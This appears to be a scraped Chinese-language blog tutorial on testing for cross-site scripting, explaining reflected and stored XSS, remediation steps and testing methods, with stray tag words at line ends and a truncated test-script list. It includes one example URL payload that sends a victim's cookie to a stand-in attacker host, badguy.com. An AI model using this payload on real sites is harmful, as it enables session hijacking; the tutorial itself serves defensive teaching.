web安全測試

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最多見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的.  好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。html

做爲測試人員,須要瞭解XSS的原理,攻擊場景,如何修復。 纔能有效的防止XSS的發生。數據庫

XSS 攻擊場景

1. Dom-Based XSS 漏洞 攻擊過程以下瀏覽器

Tom 發現了Victim.com中的一個頁面有XSS漏洞,安全

例如: http://victim.com/search.asp?term=apple服務器

服務器中Search.asp 頁面的代碼大概以下cookie

複製代碼

    Results  for  
    ...

複製代碼

Tom 先創建一個網站http://badguy.com,  用來接收「偷」來的信息。
而後Tom 構造一個惡意的url(以下), 經過某種方式(郵件,QQ)發給Monicaapp

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica點擊了這個URL, 嵌入在URL中的惡意Javascript代碼就會在Monica的瀏覽器中執行. 那麼Monica在victim.com網站的cookie, 就會被髮送到badguy網站中。這樣Monica在victim.com 的信息就被Tom盜了.xss

 

2. Stored XSS(存儲式XSS漏洞), 該類型是應用普遍並且有可能影響大Web服務器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務器上,使得全部訪問該頁面的用戶都面臨信息泄露的可能。 攻擊過程以下

Alex發現了網站A上有一個XSS 漏洞,該漏洞容許將攻擊代碼保存在數據庫中,工具

Alex發佈了一篇文章,文章中嵌入了惡意JavaScript代碼。測試

其餘人如Monica訪問這片文章的時候,嵌入在文章中的惡意Javascript代碼就會在Monica的瀏覽器中執行,其會話cookie或者其餘信息將被Alex盜走。

 

Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶.

XSS 漏洞修復

原則: 不相信客戶輸入的數據
注意:  攻擊代碼不必定在<script></script>中

  1. 將重要的cookie標記爲http only,   這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.

  2. 只容許用戶輸入咱們指望的數據。 例如: 年齡的textbox中,只容許用戶輸入數字。 而數字以外的字符都過濾掉。

  3. 對數據進行Html Encode 處理

  4. 過濾或移除特殊的Html標籤, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for

  5. 過濾JavaScript 事件的標籤。例如 "onclick=", "onfocus" 等等。

如何測試XSS漏洞

方法一:  查看代碼,查找關鍵的變量,   客戶端將數據傳送給Web 服務端通常經過三種方式 Querystring, Form表單,以及cookie.  例如在ASP的程序中,經過Request對象獲取客戶端的變量

<%
strUserCode =  Request.QueryString(「code」);
strUser =  Request.Form(「USER」);
strID =    Request.Cookies(「ID」);
%>

假如變量沒有通過htmlEncode處理, 那麼這個變量就存在一個XSS漏洞

 

 方法二: 準備測試腳本,

"/>

 在網頁中的Textbox或者其餘能輸入數據的地方,輸入這些測試腳本, 看能不能彈出對話框,能彈出的話說明存在XSS漏洞

 在URL中查看有那些變量經過URL把值傳給Web服務器, 把這些變量的值退換成咱們的測試的腳本。  而後看咱們的腳本是否能執行

 

方法三:  自動化測試XSS漏洞如今已經有不少XSS掃描工具了。 實現XSS自動化測試很是簡單,只須要用HttpWebRequest類。 把包含xss 測試腳本。發送給Web服務器。 而後查看HttpWebResponse中,咱們的XSS測試腳本是否已經注入進去了。

相關文章
相關標籤/搜索